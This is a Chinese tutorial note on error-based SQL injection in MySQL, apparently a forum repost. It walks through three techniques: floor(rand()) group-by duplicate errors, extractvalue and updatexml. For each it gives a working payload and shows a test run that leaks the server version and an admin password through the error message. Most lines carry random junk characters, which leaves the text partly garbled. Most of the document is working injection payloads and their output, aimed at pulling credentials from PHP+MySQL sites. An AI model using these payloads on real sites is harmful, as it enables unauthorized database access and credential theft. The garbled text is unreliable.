放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。2 D9 @* Z6 s& K( i+ h6 X. r
实际测试环境:
" {/ T) H( W1 R% i
7 M& g; X/ k! m2 _3 w! _
: i; U( o/ J2 u5 ymysql> show tables;
8 g2 T" Q) m$ d6 b& m+----------------+
1 C" o8 V+ q( d2 z| Tables_in_test |
' B7 {+ \, W: G8 T+----------------+9 W; ?& k$ h* c9 H
| admin |1 n' _6 \6 F" D
| article |
% [( S! @/ H1 [6 M' y* c+----------------+
: l" s5 w; B( D; F8 o# q+ j $ x4 \7 y$ i8 o- y {; u+ u
# [7 C- i1 ^& o, E
, \! V* w9 P( _/ V) ^& j4 z5 amysql> describe admin;
7 w H3 A. E# ]( K1 y+ K' W p+-------+------------------+------+-----+---------+----------------+
& F. r, J9 U, p/ M, w| Field | Type | Null | Key | Default | Extra |
@) V, Y& ]8 l* y+-------+------------------+------+-----+---------+----------------+
/ k. y: Z. g z: y! m; \! ]| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
1 v8 ~" O: C# V: D& j3 ~0 e| user | varchar(50) | NO | | NULL | |9 v) B5 p1 s5 w. z8 g+ ~* _) u! x
| pass | varchar(50) | NO | | NULL | |- Z6 D# ~+ u/ ^, l2 j/ H
+-------+------------------+------+-----+---------+----------------+
8 p$ C5 I% l3 c) p+ C3 Z0 X
( t$ j; J2 H( |- n
5 E0 z* c# ]# I' { . f$ U7 a) u) C& ^+ Q
mysql> describe article;" S6 j* e5 L/ P8 f$ u
+---------+------------------+------+-----+---------+----------------+: ^! d S) z) A+ g, ]1 s+ \
| Field | Type | Null | Key | Default | Extra |: ?, U8 F$ U# q' W
+---------+------------------+------+-----+---------+----------------+
; U3 i$ j" _( ?3 }3 u8 R/ q m. v| id | int(10) unsigned | NO | PRI | NULL | auto_increment |6 H7 t3 h" n- ^# d) O! z' \1 d* s
| title | varchar(50) | NO | | NULL | |
- I6 \$ k$ `5 T. `| content | varchar(50) | NO | | NULL | |; T! g, o6 Z% B) N# n& U
+---------+------------------+------+-----+---------+----------------+
* K5 x# u9 n) ?' ]9 f/ Q1、通过floor报错0 V0 g! i7 f1 J, w) ]9 V. K
可以通过如下一些利用代码
/ ?4 O7 X3 m; o f: k7 Z) f( J4 D" B
) E0 J \& S/ H( N7 w
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
0 j: D! ^# s( Y8 C, ]* p& afrom information_schema.tables group by x)a); A/ A1 L2 O7 ?/ Q2 W. F
" p# K4 H8 i& t6 C& S2 J8 ]3 u& O ! \, s5 [% F3 A' J* q) E
and (select count(*) from (select 1 union select null union select !1)x7 l6 ?5 M2 X/ v
group by concat((select table_name from information_schema.tables limit 1),
: V7 ] F! C" @. hfloor(rand(0)*2)));
4 t+ Q' Z3 C& z# }9 R& D举例如下:
: H8 S+ q' T, T5 |& @首先进行正常查询:0 N; ?9 d/ [7 x; p, y( @$ l+ R
1 Z) [/ _0 Y+ k" h& O Y
mysql> select * from article where id = 1;
/ N& ^0 t) _7 K# {7 }# G( Z. }+----+-------+---------+
7 ^5 b, F* X' e7 Q2 Z| id | title | content |: ?/ j. S) D. l1 a0 M8 a2 c; Y
+----+-------+---------+, T5 N0 F8 d' @ {2 x
| 1 | test | do it |
, a( u9 \: w) L; N; A' ?+----+-------+---------+
" K) M( d4 T6 F( I2 E! F假如id输入存在注入的话,可以通过如下语句进行报错。- A, p5 U& e# _: U
) e% T! `0 K @1 p8 `
1 T, C' I: X; T; O, mmysql> select * from article where id = 1 and (select 1 from X2 k9 r3 C! c5 P2 J" ?0 o* r
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);- ? D" V) \# W5 J
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
& d1 a2 X6 `9 ^+ _( b0 ^0 G可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。5 g& U8 ~0 r) X9 \/ t0 {
例如我们需要查询管理员用户名和密码:0 o: \0 B+ j* p6 F' |; ^
Method1:
2 w) W, R' I9 H! Q1 }5 G) W
' Q6 X O6 H; g . z9 P: K5 F6 r8 L: j; t# f! ~
mysql> select * from article where id = 1 and (select 1 from
@- \; A; }1 z9 N/ b1 l9 `0 s(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
7 ^3 r. i, k( Vfrom information_schema.tables group by x)a);
. h. \& g. @6 B' S2 }) kERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'5 Q+ o R9 z6 C$ e
Method2:
f- p; A/ H2 P E- F/ o& ^7 Z
+ S e5 F) K2 V6 `0 j( b
+ ~/ `$ t. E0 z# a. L. ~2 c, _, a- hmysql> select * from article where id = 1 and (select count(*)
; n# l [* ?4 C! d' Q* _& U- efrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),8 k8 }% U( S* x, e( ~* C7 r
floor(rand(0)*2)));4 v9 e4 w4 P2 q; z$ [8 W
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2 n' z' E3 h% X! f+ y( `5 t2、ExtractValue
8 L: g6 X9 c- \) m测试语句如下
3 u$ p* A, G: Q, w( U6 ]
& M3 |+ S7 P' R6 j O1 {0 j E8 Z: K# v7 b. `
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
/ W$ p. d& n- F) m; W$ ^/ m; e4 m实际测试过程
# i+ z" Y# X$ k- ` ' A6 Y: ^0 K/ b! Q5 c
( y$ X2 {2 h A9 {% o) umysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
! w1 e1 E1 @9 H(select pass from admin limit 1)));--: u% G4 ]8 a* m8 b
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
- }2 H; a6 |1 C: g/ x: [3、UpdateXml! V% ?6 \$ D9 B$ V; R( Z m
测试语句
) M4 Q- @$ {4 R5 U* h) z & p. [3 e+ l9 c) _7 e/ r! T# [
; n0 m) G) G1 J; w# z4 a4 Qand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
8 o# t. ^% e; X2 {% ]+ H实际测试过程+ C9 L+ |1 d8 ?! M2 r+ f
4 {0 Q2 q; O; |# V% t
e1 n. y. c- Y9 Y; J- J4 U
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
3 L% Q6 d% A! T7 \(select pass from admin limit 1),0x5e24),1));
7 B C. ~/ N. ]1 w& [ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
( h Y: a+ R" ^' x" L- x2 qAll, thanks foreign guys.
" F& W9 D, v5 X# J& ` 2 C3 m8 d7 Z( i# ?* D( ]
9 g. q$ {' ~4 H$ | |